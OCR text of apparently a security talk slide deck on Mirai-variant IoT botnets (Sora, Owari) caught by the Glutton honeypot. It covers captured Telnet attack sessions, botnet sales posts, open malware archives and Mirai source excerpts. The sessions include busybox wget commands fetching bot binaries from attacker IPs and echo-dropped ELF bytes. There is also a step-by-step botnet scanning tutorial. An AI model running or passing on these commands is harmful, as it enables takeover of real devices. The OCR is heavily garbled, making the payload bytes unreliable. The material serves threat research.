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2 Member of The Honeynet Project
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Credit to #MalwareMustDie
for first found Mirai botnet
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Glutton - “All eating honeypot”

e0e O GitHub - mushorg/glutton; A xD

&« C | @ GitHub, Inc. [US)] | https://github.com/mushorg/glutton

Glutton
Setup go 1.7+ . Install required system packages:

apt-get install libnetfilter-queue-dev libpcap-dev iptables-dev

To change your SSH server default port (i.e. 5001, see rules.yaml ) and restart sshq

sed -i "s/Port 22/Port 5001/' /etc/ssh/sshd_config

Download glutton, and install dependencies using glide :

go get github.com/mushorg/glutton

cd $GOPATH/src/github.com/mushorg/glutton/
curl https://glide.sh/get | sh

glide install

glide update

Build glutton:

make build




Glutton honeypot + Telnet

2017/07/16 0©2:15:55 DEBUG [freki ] device: enp0Os3, addr: 192.168.11.22, islLoopback: false,
isIPv4: ftrue

2017/07/16 02:15:56 DEBUG [freki ] raw PREROUTING [-P PREROUTING ACCEPT -A PREROUTING -1 enpOs3 -
p tcp -j NFQUEUE --queue-num © -A PREROUTING -1 enp0®s3 -p udp -j NFQUEUE --queue-num 0]
2017/07/16 02:15:56 DEBUG [freki ] raw OUTPUT [-P OUTPUT ACCEPT -A OUTPUT -o enp0s3 -p tcp -j
NFQUEUE --queue-num @ -A OUTPUT -0 enp@s3 -p udp -j NFQUEUE --queue-num 0]

2017/07/16 02:15:56 INFO [freki ] starting freki on [192.168.11.22]

2017/07/16 02:15:56 INFO [freki ] starting proxy.tcp on 6000

2017/07/16 ©2:15:56 INFO [freki ] starting user.tcp on 5000

2017/07/16 02:18:59 DEBUG [freki ] new TCP connection 203.24.188.59:32889->23

2017/07/16 02:18:59 DEBUG [contable] registering 203.24.188.59:32889->23

2017/07/16 ©2:18:10 DEBUG [freki ] new TCP connection 203.24.188.59:39003->23

2017/07/16 02:18:10 DEBUG [contable] registering 203.24.188.59:39003->23



new connection: 59.185.241.2:44519 -> 23

recv.
recv:
recv:
recv:
recv:
recv:
recv:
recv.:

recv.:
recv:
recv:
recv:
recv:
recv:
recv:
recv:

recv.:
recv.:
recv.:

recv:
recv:

EOF

"\xff\xfc\x18\xff\xfc \xff\xfc#\xff\xfc'root"

"vizxv"

"enable"

"shell"

"/bin/busybox ECCHI"

"/bin/busybox ps; /bin/busybox ECCHI"

"/bin/busybox cat /proc/mounts; /bin/busybox ECCHI"
"/bin/busybox echo -e '\\x6b\\x61\\x6d\\x69/dev' > /dev/.nippon;
/bin/busybox cat /dev/.nippon;

/bin/busybox rm /dev/.nippon"

"/bin/busybox ECCHI"

"rm /dev/.t; rm /dev/.sh; rm /dev/.human"

"cd /dev/"

"/bin/busybox cat /bin/echo"

"/bin/busybox ECCHI"

"cat /proc/cpuinfo; /bin/busybox ECCHI"

"/bin/busybox wget; /bin/busybox tftp; /bin/busybox ECCHI"
"/bin/busybox wget http://59.185.241.2:80/bins/mirai.arm -0 - > dvrHelper;
/bin/busybox chmod 777 dvrHelper; /bin/busybox ECCHI"
"./dvrHelper telnet.arm; /bin/busybox IHCCE"

"/bin/busybox wget; /bin/busybox tftp; /bin/busybox ECCHI"
"/bin/busybox wget http://59.185.241.2:80/bins/mirai.arm7 -0 - > dvrHelper;
/bin/busybox chmod 777 dvrHelper; /bin/busybox ECCHI"
"./dvrHelper telnet.arm7; /bin/busybox IHCCE"

"rm -rf upnp; > dvrHelper; /bin/busybox ECCHI"



new connection: 217.61.104.169:50099 -> 23

recv.
recv.:
recv.
recv.:
recv.:
recv.:
recv:
recv.:

recv.
recv.:
recv.:
recv.
recv.:
recv.:
recv.:
recv.:

recv

"\\xff\\xfc\\x18\\xff\\xfc \\xff\\xfc#\\xff\\xfc'telnet"
"telnet"

"enable"

"shell"

"/bin/busybox SORA"

"/bin/busybox ps; /bin/busybox SORA"

"/bin/busybox cat /proc/mounts; /bin/busybox SORA"
"/bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon;
/bin/busybox cat /dev/.nippon;

/bin/busybox rm /dev/.nippon"

"/bin/busybox SORA"

"rm /dev/.t; rm /dev/.sh; rm /dev/.human"

"cd /dev/"

"/bin/busybox cat /bin/echo"

"/bin/busybox SORA"

"cat /proc/cpuinfo; /bin/busybox SORA"

"/bin/busybox wget; /bin/busybox tftp; /bin/busybox SORA"
"/bin/busybox cp wIBZeN81RA b0OeOVFivXc; > bOebvFivXc;
/bin/busybox chmod 777 bOeOvFivXc; /bin/busybox SORA"

: "echo -ne X7T\\x45\\x4c\\x46\\|x01\\x01\\x01\\x61\\x00\\x00\\x00\\x00\\x00\\x00\\
x00\\x00\\x02\\xGLEE;;zxxxﬁﬁxxxﬁlxxxﬁﬁxjxOO\\xOO\\x1c\\x83\\x00\\x00\\x34\\x00\\x60\\x66\\
xc8\\x03\\x00\\x00\\x02\\x02\\x00\\x00\\x34\\x00\\x20\\x00\\x02\\x00\\x28\\x00\\x05\\x00\\
LAV CLAR S CHAR R CLAR Y CLAR R CLAR R CLARCCLAR R CLAR R CLAR R CLAR R ELAR S CLAR R CLAR R CLAR S AR CLAR T CIOANY
P CEARR CEAR R CLAR R CLAR CEAR R CEAR R CLAR Y CLAR R CRAR R CLAR R CLAR R CLARC CLAR R CAR R CLARV COAR R CH AR CIOANY
FCLARR CLAREEEAR R CEAR Y CLAR R CLAR Y CEAR R CEAR R AR CLAR R G EAR R CEAR Y CHAR R CLAR R CLAR R CLAR R CLAR R CLIOANY
x08\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x01\\x18\\xa0\\xe1\\xff\\x18\\
x01\\xe2\\x00\\x1c\\x81\\xe1' > bOeOvFivXc; /bin/busybox SORA"



recv: "echo -ne '\\x00\\x2e\\x67\\x6f\\x74\\x00\\x2e\\x62\\x73\\x73\\x00\\x2e\\x41\\x52\\
x4d\\x2e\\x61\\x74\\x74\\x72\\x69\\x62\\x75\\x74\\x65\\x73\\x00\\x00\\x00\\x00\\x00\\x00\\
FCLARRCLAR R CLAR S CLAR R CLAR R CLAR R CLAR R CLAR R CLAR R CLAR S CLAR S CLARN S CLAR S CLAR R CLAR R CLAR R CLAR R C AN
PCLARRCLARCCLAR R CLAR R CLARN R CLARNC CLAR R CLAR R CLAR R CLAR VCLAR Y CLAR R CLAR R CLAR N CLAR R CLAR R CLAR R CLANY
x0b\ \x00\\x00\\x00\\x01\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\xa0\\x80\\x00\\x00\\xa0\\x00\\
x00\\x00\\x5c\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\
x00\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x32\\x00\\x00\\x00\\xfc\\x83\\
x00\\x00\\xfc\\x03\\x00\\x00' >> bOedvFivXc; /bin/busybox SORA"

recv: "echo -ne '\\x50\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\
x00\\x00\\x01\\x00\\x00\\x00\\x19\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\
x4c\\x04\\x01\\x00\\x4c\\x04\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\
FCLARRCLAR S CAR R CLARY CLAR R CLAR S CLAR Y CLAR R CLAR B CLAR S S AR CLAR R CLAR S CLAR R CLAR R CLAR R C AR R CLAR
FCEARRCLAR R CLAR R CLAR S AR S CLAR CIAR S C AR R E AR CLAR R CLAR R CLAR Y CEAR R CLAR R CLAR R C AR CLAR T CIOANY
FCLARRCLAR R CLAR S CLAR R CLAR R C AR S AR CLAR R CLAR R CLAR S CLAR S CLARN S CLAR R CLAR S PEAR N CLAR R CLAR R C AN
FCEARRCLAR R CLAR R YLAR Y CLAR R CLAR R CLAR Y CLAR R CLAR R CLAR S CLAR R CLAR R E AR CLAR R CLAR Y CLAR R AR DG LAN
x00\\x00\\x00\\x00\\x00\\x00' >> bOedOVvFivXc; /bin/busybox SORA"

recv: "echo -ne '\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\
FCLARRCLAR R CEAR R C AR R CLAR R CLAR S CLAR S CLAR R CLAR S CLAR S CLAR S CLAR S CLAR S CLAR S CEAR R CL AR CLAR R C LA
P EEARVCLOARSCLAR R CLARV CLAR R CLAR R CLAR Y CLAR R CLAR R CLAR S CLAR R CLAR R CI AR CLAR R CLAR Y CLAR R CLAR R CLAR
x00\\x00' >> bOeOvFivXc; /bin/busybox SORA"

recv: "./bGedvFivXc; ./wIBZeN8LlRA echo.armé6; /bin/busybox AROS"

recv: "rm -rf bOeOvFivXc; > wIBZeN8LRA; /bin/busybox SORA"



new connection: 92.53.72.2:51898 -> 23
recv: "\xff\xfc\x18\xff\xfc \xff\xfc#\xff\xfc'root"
recv: "default"
recv: "enable"
recv: "shell"
recv: "/bin/busybox OWARI"
recv: "/bin/busybox ps; /bin/busybox OWARI"
recv: "/bin/busybox cat /proc/mounts; /bin/busybox OWARI"
recv: "/bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon;
/bin/busybox cat /dev/.nippon;
/bin/busybox rm /dev/.nippon"
recv: "/bin/busybox OWARI"
recv: "rm /dev/.t; rm /dev/.sh; rm /dev/.human"
recv: "cd /dev/"
recv: "/bin/busybox cat /bin/echo"
recv: "/bin/busybox OWARI"
recv: "cat /proc/cpuinfo; /bin/busybox OWARI"
recv: "/bin/busybox wget; /bin/busybox tftp; /bin/busybox OWARI"
recv: "/bin/busybox cp X19I239124UIU 289JU3414U891; > 289JU3414U891;
/bin/busybox chmod 777 289JU3414U891; /bin/busybox OWARI"
recv: "echo -ne '"\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x61\\x00\\x00\\x00\\x00\\x00\\x00\\
x00\\x00\\x02\\x00\\x28\\x00\\x01\\x00\\x00\\x00\\x1c\\x83\\x00\\x00\\x34\\x00\\x00\\x00\\
xc8\\x03\\x00\\x00\\x02\\x02\\x00\\x00\\x34\\x00\\x20\\x00\\x02\\x00\\x28\\x00\\x05\\x00\\
AR CLAR CHAR R CLAR R CLAR R CLAR R CLAR R CLAR R CLAR R CLAR R CLAR R LAR S CLAR R CLAR R CLARE AR CLOAR B CIOARY
PCEARRCEAR CLAR R CLAR CEAR R CEAR R C AR R CLAR R CAAR R CLAR R CLAR R CLAR R CLAR R PAR R CLAR S CLAR R CH AR R C LAY
FCLARRCLAR CEAR R CEAR R CLAR R CLAR R AR R CEAR R CH ARV CLAR Y CEAR R CEAR R CH AR R C AR R CLAR R CLAR R CLARN P CLOANY
x08\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x01\\x18\\xa0\\xe1\\xff\\x18\\
x01\\xe2\\x00\\x1c\\x81\\xel' > 2893JU3414U891; /bin/busybox OWARI" |



recv: \"echo -ne '"\\x00\\x2e\\x67\\x6f\\x74\\x00\\x2e\\x62\\x73\\x73\\x00\\x2e\\x41\\x52\
\x4d\\x2e\\x61\\x74\\x74\\x72\\x69\\x62\\x75\\x74\\x65\\x73\\x00\\x00\\x00\\x00\\x00\\x00\
(R CLAR CLAR S CLAR S CLAR R CLARY CLAR Y CLAR R CLAR R CLAR R CLAR R CLAR R CLARV CLAR R CLAR R C AR CLAR R CLAR R CLA
(R CLARYCLAR R CLAR S CLAR R CLARY CLARY CLAR R CLAR R CLAR R CLAR R CLAR R CLARV CLAR R CLAR R CLAR R CLAR R CLAR R CLA
(RN CLAR CLAR S CLARY CIAR T CLAR R CLAR R C LAY CIAR R CLAR R CLAR R CLARE C LAR R G RAR R CLAR R CLAR S C AR R CLoAY
(N CLARRCLAA S STARVCEAR R CLAR Y CLAR R CLAR Y CLAR R CLAR S CLAR R CLAR R C AR R CLAR R C AR RS AR R C AR CLOAR B LA
\x00\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x32\\x00\\x00\\x00\\xfc\\x83\
\x00\\x00\\xfc\\x03\\x00\\x00' >> 289JU3414U891; /bin/busybox OWARI"

recv: \"echo -ne '"\\x50\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\
(RCLARYCLARCCH AR CLAR R CLARV CLARN S EARV CLAR R CLAR R CLAR R CH ARV CLARV CLARN R CLAR R CEAR R CLAR R CLAR R C LA
(RGNS CLARR CHAR Y CLARY C ARV CARY CRAR R CLAR Y CIAR Y CLAR R CLAR R CLAR Y CLAR R CLAR R CLAR R CLAR Y CLAR R CLCAY
\x00\\x00\\x04\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x1e\\x00\\x00\\x00\\x08\\x00\\x00\\x00\
\x03\\x00\\x00\\x00\\x58\\x04\\x01\\x00\\x58\\x04\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\
(R CLAR R CLAR R CLAR S CLARY CLAR S CLAR S CLAR Y CLARY CLAR R CLAR R CLAR R CLAR Y CLARVCLAR RV AR S C AR CLAR R LCAY
(R CEARY CLAR R CLAR S YCAR R CLAR Y CLAR Y CLAR R CLAR R CLAR R CLAR R CLAR R CLAR Y CEAR R CL AR R C AR C AR R AR R C A
\x00\\x00\\x00\\x00\\x00\\x00' >> 289JU3414U891; /bin/busybox OWARI"

recv: \"echo -ne '\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\
(R CLAR R CLAR R CEAR S CLARY CLAR R CLAR R CLAR R C AR CLAR R CLAR R CLAR R CLARC CLAR R CLAR R CEAR R CL AR CLAR R C LAY
IREEAN CLAR R CLARSCLARRCLAR Y CLAR R CLAR R CLAR R CLAR R CLAR R CLAR R CLAR Y C AR R CLAR R C AR R CLAR R CLAR R CLA
\x00\\x00' >> 289JU3414U891; /bin/busybox OWARI"

recv: "./289JU3414U891; ./X19I239124UIU owari.loader.echo; /bin/busybox IRAWO"

recv: "rm -rf 289JU3414U891; > X19I239124UIU; /bin/busybox OWARI"

EOF



new connection: 159.203.90.200:58657 -> 23
recv: "\\xff\\xfc\\x18\\xff\\xfc \\xff\\xfc#\\xff\\xfc'root"
recv: "default"
recv: "enable"
recv: "shell"
recv: "/bin/busybox OWARI"
recv: "/bin/busybox ps; /bin/busybox OWARIL"
recv: "/bin/busybox cat /proc/mounts; /bin/busybox OWARI"
recv: "/bin/busybox echo -e '\\x6b\\x61\\x6d\\x69/dev' > /dev/.nippon;
/bin/busybox cat /dev/.nippon;
/bin/busybox rm /dev/.nippon"
recv: "/bin/busybox OWARI"
recv: "rm /dev/.t; rm /dev/.sh; rm /dev/.human"
recv: "cd /dev/"
recv: "/bin/busybox cat /bin/echo"
recv: "/bin/busybox OWARI"
recv: "cat /proc/cpuinfo; /bin/busybox OWARI"
recv: "/bin/busybox wget; /bin/busybox tftp; /bin/busybox OWARI"
recv: "/bin/busybox cp X19I239124UIU 289JU3414U891; > 289]JU3414U891;
/bin/busybox chmod 777 289JU3414U891; /bin/busybox OWARI"
recv: "echo -ne '"\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x61\\x00\\x00\\x00\\x00\\x00\\x00\\
x00\\x00\\x02\\x00\\x28\\x00\\x01\\x00\\x00\\x00\\x1c\\x83\\x00\\x00\\x34\\x00\\x00\\x00\\
xcc\\x03\\x00\\x00\\x02\\x02\\x00\\x00\\x34\\x00\\x20\\x00\\x02\\x00\\x28\\x00\\x05\\x00\\
x04\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\x80\\x00\\x00\\
xac\\x03\\x00\\x00\\xac\\x03\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x01\\x00\\
x00\\x00\\xac\\x03\\x00\\x00\\xac\\x03\\x01\\x00\\xac\\x03\\x01\\x00\\x00\\x00\\x00\\x00\\
x08\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x01\\x18\\xa0\\xe1\\xff\\x18\\
x01\\xe2\\x00\\x1c\\x81\\xel' > 289530U34140U891; /bin/busybox OWARI"



recv: "echo -ne '"\\x47\\x45\\x54\\x20\\x2f\\x42\\x69\\x6e\\x61\\x72\\x79\\x73\\x2f\\x4f\\
x77\\x61\\x72\\x69\\x2e\\x61\\x72\\x6d\\x20\\x48\\x54\\x54\\x50\\x2f\\x31\\x2e\\x30\\x0d\\
x0a\\x0d\\x0a\\x00\\x47\\x41\\x59\\x0a\\x00\\x00\\x00\\x00\\x00\\x2e\\x73\\x68\\x73\\x74\\
x72\\x74\\x61\\x62\\x00\\x2e\\x74\\x65\\x78\\x74\\x00\\x2e\\x72\\x6f\\x64\\x61\\x74\\x61\\
x00\\x2e\\x62\\x73\\x73\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\
PCLARRCLAR R CLAR R CLAR S CLAR S CLAR Y CLAR S CLAR R CLAR R CLAR R CLAR R C AR R CLAR R CLAR R CLAR R CLAR R CLAR R CLANY
x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0b\\x00\\x00\\x00\\x01\\x00\\
x00\\x00\\x06\\x00\\x00\\x00"' >> 2891U34140U891; /bin/busybox OWARI"

recv: "echo -ne '"\\x74\\x80\\x00\\x00\\x74\\x00\\x00\\x00\\xe8\\x02\\x00\\x00\\x00\\x00\\
FCLARRCLAR R CLAR CLAR Y CLAR Y CLAR Y CL AR CLAR R CLAR R CLAR R CLAR R CLAR R CLAR CLARN e M ARV C AR CLAR R CLARY
x01\\x00\\x00\\x00\\x32\\x00\\x00\\x00\\x5c\\x83\\x00\\x00\\x5c\\x03\\x00\\x00\\x50\\x00\\
Y CLARVCLARR CLAR R CLAR R CLARN Y CLAR S CLAR R CLARY CLAR R CLAR R CLAR Y CLARV CLAR R CLAR R CHAR R CLAR R CLOAR R CIARY
x19\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\xac\\x03\\x01\\x00\\xac\\x03\\
PCLARR CLAR R CEAR S C AR CLAR Y CLAR Y CLAR Y CLAR R CLAR R CLAR R CLAR R CLAR S CLAR S CLAR S CL AR CLAR CLAR R CLANY
YCLARVCLARR CLAR R CLAR R CIAR Y C AR CLAR R CLARV CEARC CLAR R CLAR R CLARY CLAR S CLAR R CLAR R CLAR R CLOAR R CIOARY
x00\\x00\\xac\\x03\\x00\\x00' >> 2891U34140U891; /bin/busybox OWARI"

recv: "echo -ne '"\\x1e\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\
x00\\x00\\x00\\x00\\x00\\x00' >> 289JU34140U891; /bin/busybox OWARIL"

recv: "./289JU3414U891; ./X191239124UIU oblivion.loader.echo; /bin/busybox IRAWO"
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flooded_port @vsparkzyy kek
glitch.php That shit clean asf
g.o.d_modding @flooded_port check dm

O Q

27 likes
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X Loaded 10025 | root
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root@owari % M

L IJ* Ho}l

colletion (16)

3~'~’
&g‘)}/ flooded_port « Follow

downnto @flooded_port bro dm me
flooded_port @xsuggestions Kk

downnfo @flooded_port dm me info i gtg
soon

bryce_kaleee @program.py it is

program.py @flooded_port its not hard im
just saying some of these kids flashing
“their” botnets are just downloaded from
sourceforge and github and all they do is
change the ascii and slap their insta on it
and call it a day

flooded_port @program.py True

flooded_port @program.py I'm not flashing
I'm just saying I'm selling spots with proof of
a pic

program.py @flooded_port whatever man
we're cool

© Q

31 likes

Login
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root@sora £ bots

owari.er.wget: 4
owari.loader.wget: 17841
|ISSH: 1574
\owari.loader.tftp: S03
\Netis: 147

\Realtek: 16

\root@sora

\% flooded_port « Follow

flooded_port @ Selling 20k net spots! If
you wanna buy make sure to Dm!©

(Tags)

#mods #gtabmods #gtaSmodder #buymods
#gtaSmodsonline #gtaSmodmenu
#gtabmoddedaccounts #gtabmodding #bo2
#bo2mods #bo2modsforsale #bo2modding
#bo2modz #bo2modder #b02 #bo2hacks
#xbox #rgh #moddedxbox #moddedxbox
#xboxmodder #buymods #modder #ddos
#dos #botnet #booter #puttybooter
#botnetforsale #vps #vpsbooter
#vpsbooterforsale

tomOburke Let me know before you hit so i
can see myself go offline right!

© Q

38 likes

Login




HUNT FOR SOURCE CODE




» YouTube eart HHH : SIGN IN

Index of /Archive/Malware/Botnets/Scanners/l.sts

Nams Last modified Size Description

How to scan to a Botnet
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Index of /Archive/Malware/Botnets/Scanners/Lsts

Nanke Last modified Size Descriprion




TUT BY %M

1224 AM
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s

o0 e J Index of JArchive/Malware x \ +

.

S Bl € (O account-gen.xyz/Archive/Malware/ 1B0% @  Q Ssearch

Index of /Archive/Malware

Name Last modified Size Description

Parent Directory -

Botnets/ 2018-03-1011:10 -
New Shit/ 2018-04-17 04:09 -
RATSs/ 2018-03-1011:22 -




o o / Index of /Archive/Malware/New ... * 4

S} u & | (© account-gen.xyz/Archive/Malware/New Shit/

160%

c

Index of /Archive/Malware/New Shit

Name Last modified Size Description
Parent Directory

New Owarirar 2018-04-17 04:09 52K
Sora Modified.zip 2018-04-17 04:09 75K

Q Search




e

Index of /Archive/Malware/Botn...

+

8 a (- (i) account- -gen.xyz/Archive/Malware/Botnets/Mirai Shit/

160%

c C‘ Searct

Index of /Archive/Malware/Botnets/Mirai Shit

Name Last modified Size Description
Parent Directory -
Daddy.rar 2018-03-10 10:32 63K
Josho_v1.rar 2018-04-16 23:35 58K
LiGhter.rar 2018-03-10 10:32 85K
Masuta.zip 2018-04-17 04:09 477K
Shinto.zip 2018-04-16 23:35 68K

Some Admin.Gos By Cu.>2018-04-16 23:35 25K




e

oo e / Index of /Archive/Malware/Botn... * -
e N

S Bl (€ @ account-gen.xyz/Archive/Malware/Botnets/Scanners/Exploits/ 123% ' @@  Q Search

Index of /Archive/Malware/Botnets/Scanners/Exploits

Name Last modified Size Description
Parent Directory -
Dank SandNigga Scann.> 2018-04-17 04:08 574K
Huawei.zip 2018-03-10 10:37 9.3K
Netis Files.zip 2018-03-10 10:39 58K
Realtek.zip 2018-03-10 10:37 15K




e

- -
v - Index of /Archive/Malware/Botn

S D & () account-gen.xyz/A ve/Maly thet _ : 1339 o
Index of /Archive/Malware/Botnets/Scanners/Exploits
Name Last modified Size Description

Parent Directory -
Dank SandNigga Scann..> 2018-04-17 04:08 574K

Huawei.zip 2018-03-10 10:37 93K \ ”**’**#;* +:+ +;+ +:*'
+#+ +#+ +#+ +#+
Netis Files.zip 2018-03-10 10:39 58K \ t+# $+3 $+% $+4 $+3

2222222 FRFRRREF  ###

Realtek.zip 2018-03-10 10:37 15K

owari.er.wget: 4
owari.loader.wget: 17841
SSH: 1574
owari.loader.tfcp: 503
Netis: 147
Realtek: 16




nttp://account-g...%20Tutorial.txt S
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g a 1) account-gen.xyz/Archiy Xt tori 1 y Tutorial txt c
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lst - Type: BEFORE You Add Files Into Server Go To wget.pl (LOADER) and Change The WCET To Your WCET

2nd - Type sh Scanner.sh

3rd - Type: copy the Smep isetall in your server line by line

ath - Type: zmap -p22 -w india.lst -o mfu.txt -BlOOM

5th - Type chmod 777 #*

6th - Type ./update 15000

7th - Type cat vuln.txt | grep -v DUP > nodups.txt




e

/ Index of /Archive/Mirai Shit

x\\-ln

S_! u (' \U vww.easyaccounts.co/Archive/Mi

Index of /Archive/Mirai Shit

Name

Last modified Size Description

Parent Directory -

Akiru.zip
Josho.rar

Kanashi v1 .rar

Kanashi v3.rar

Real Owari.zip

Senpai.rar

2018-08-06 01:50 4.3M
2018-08-06 01:49 63K
2018-08-06 01:49 58K
2018-08-06 01:49 58K
2018-08-06 01:49 60K
2018-08-06 01:49 66K
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ERROR #404

| FIND YOUR LACK OF
NAVIGATION DISTURBING




MY BOTNET BEATS YOURS




/ ® O ® () minai-Source-Codejkillercat - X =+

&

» C

& GitHub, Inc. [US] | https://github.com/jgamblin/Mirai-Source-Code/blob/master/mirai/bot/killer.c aQa %« 6 :

109

A04

static BOOL memory_scan_match(char *path)

int fd, ret;

char rdbuf[4096];

char *m_qgbot_report, *m_gbot_http, *m_gbot_dup, *m_upx_str, *m_zollard;
int m_gbot_len, m_gbot2_len, m_gbot3_len, m_upx_len, m_zollard_len;
BOOL found = FALSE;

if ((fd = open(path, O_RDONLY)) == -1)
return FALSE;

table_unlock_val(TABLE_MEM_QBOT);
table_unlock_val(TABLE_MEM_QBOT2);
table_unlock_val(TABLE_MEM_QBOT3);
table_unlock_val(TABLE_MEM_UPX);
table_unlock_val(TABLE_MEM_ZOLLARD);

m_qgbot_report = table_retrieve_val(TABLE_MEM_QBOT, &m_gbot_len);
m_qgbot_http = table_retrieve_val(TABLE_MEM_QBOT2, &m_gbot2_len);




/ ® O ® () miai-Source-Codelkillercat - x  +

&

C @ GitHub, Inc. [US] | https://github.com/jgamblin/Mirai-Source-Code/blob/master/mirai/bot/killer.c

=

511 m_gbot_report = table_retrieve_val(TABLE_MEM QBOT, &m_gbot_len);
512 m_gbot_http = table_retrieve_val(TABLE_MEM_QBOT2, &m_gbot2_len);
513 m_gbot_dup = table_retrieve_val(TABLE_MEM QBOT3, &m_gbot3_len);

514 m_upx_str

515 m_zollard

table_retrieve_val(TABLE_MEM UPX, &m_upx_len);
table_retrieve_val(TABLE_MEM_ZOLLARD, &m_zollard_len);

517 while ((ret = read(fd, rdbuf, sizeof (rdbuf))) > @)

518 {

519 if (mem_exists(rdbuf,

20 mem_exists(rdbuf,
mem_exists(rdbuf,

22 mem_exists(rdbuf,

mem_exists(rdbuf,

526 break;

ret,
ret,
ret,
ret,

ret,

m_gbot_report, m_gbot_len) ||
m_gbot_http, m_gbot2_len) ||
m_gbot_dup, m_gbot3_len) ||
m_upx_str, m_upx_len) ||

m_zollard, m_zollard_len))




/ ® O ® () Mirai-Source-Codetable.cat X =

<« C @ GitHub, Inc. [US] | https://github.com/jgamblin/Mirai-Source-Code/blob/master/mirai/bot/table.c aQ %« 6

uint32_t table_key = ©xdeadbeef;
struct table_value table[TABLE_MAX_KEYS];

void table_init(void)

{
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com
add_entry(TABLE_CNC_PORT, "\x22\x35", 2); // 23

add_entry(TABLE_SCAN_CB_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 29); // report.
add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2); // 48101

add_entry(TABLE_EXEC_SUCCESS, "\x4E\x4B\x51\x56\x47\x4C\x4B\x4C\x45\x02\x56\x57\x4C\x12\x22", 15);

// safe string https://youtu.be/dQwiawSWgXcQ

add_entry(TABLE_KILLER_SAFE, "\x4A\x56\x56\x52\x51\x18\x0D\x08D\x5B\x4D\x57\x56\x57\x0C\x40\x47\x0D\x46\x73\x55\x16\x55\x1B\x75\x45\
add_entry(TABLE_KILLER_PROC, "\x@D\x52\x50\x4D\x41\x@D\x22", 7);
add_entry(TABLE_KILLER_EXE, "\x@D\x47\x5A\x47\x22", 5);
add_entry(TABLE_KILLER_DELETED, "\x@02\x@A\x46\x47\x4E\x47\x56\x47\x46\x0B\x22", 11);
add_entry(TABLE_KILLER_FD, "\x@D\x44\x46\x22", 4);

add_entry(TABLE_KILLER_ANIME, "\xOC\x43\x4C\x4B\x4F\x47\x22", 7);
add_entry(TABLE_KILLER_STATUS, "\x@D\Xx51\x56\x43\x56\x57\x51\x22", 8);
add_entry(TABLE_MEM_QBOT, "\x70\x67\x72\x6D\x70\x76\x02\x07\x51\x18\x07\x51\x22", 13);
add_entry(TABLE_MEM_QBOT2, "\x6A\x76\x76\x72\x64\x6E\x6D\x6D\x66\x22", 10);
add_entry(TABLE_MEM_QBOT3, "\X6E\X6D\X6E\X6C\x6D\x65\x76\x64\x6D\x22", 10);

S - a e - e — - - — - - -- - - - — - - - - - - - - - — -- - - - -t e - -— -- — --
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/ Index of /Archive/Mirai Shit

s @ (¢c

x |+

vw.easyaccounts.co/Archive/Mirar Shit

Index of /Archive/Mirai Shit

Name

Last modified Size Description

Parent Directory

Akiru.zip
Josho.rar

2018-08-06 01:50 4.3M

2018-08-06 01:49

Kanashi vl.rar 2018-08-06 01:49

Kanashi v3.rar 2018-08-06 01:49

Real Owari.zip 2018-08-06 01:49

Senpai.rar

2018-08-06 01:49

63K
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table.c

8

9 #include "includes.h"
10 #include "table.h"

11 #include "“util.h"

12

13 uint32_t table_key = 0x1337c0d3;
14 struct table_value table[TABLE_MAX_KEYS];

15

16 void table_init(void)

17 {

18 add_entry(TABLE_CNC_PORT, "\x22\x84", 2); // 5555

19 add_entry(TABLE_SCAN_CB_PORT, "\x75\x43", 2); 17012

20 add_entry(TABLE_EXEC_SUCCESS, "\x78\x5F\x17\x40\x52\x5B\x5B\x19\x19\x19\x37", 11); Oh well...
21

22 <removed..>

23

24

25 add_entry(TABLE_EXEC_MIRAI, "\x53\x41\x45\x7F\x52\x5B\x47\x52\x45\x37", 10); dvrHelpe

26 add_entry(TABLE_EXEC_SORA1, "\Xx79\x5E\x70\x70\x52\x65\x01\x0E\x4F\x53\x37", 11); // W;CCPPCCAC
27 add_entry(TABLE_EXEC_SORA2, "\x06\x04\x04\x00\x64\x58\x45\x56\x7B\x78\x76\x73\x72\x65\x37", 15); // 1337Soral0AD
28 add_entry(TABLE_EXEC_OWARI, "\x6F\x06\x@QE\X7E\x05\x04\x0E\x06\x05\x03\x62\x7E\x62\x37", 14); X191239124UIU
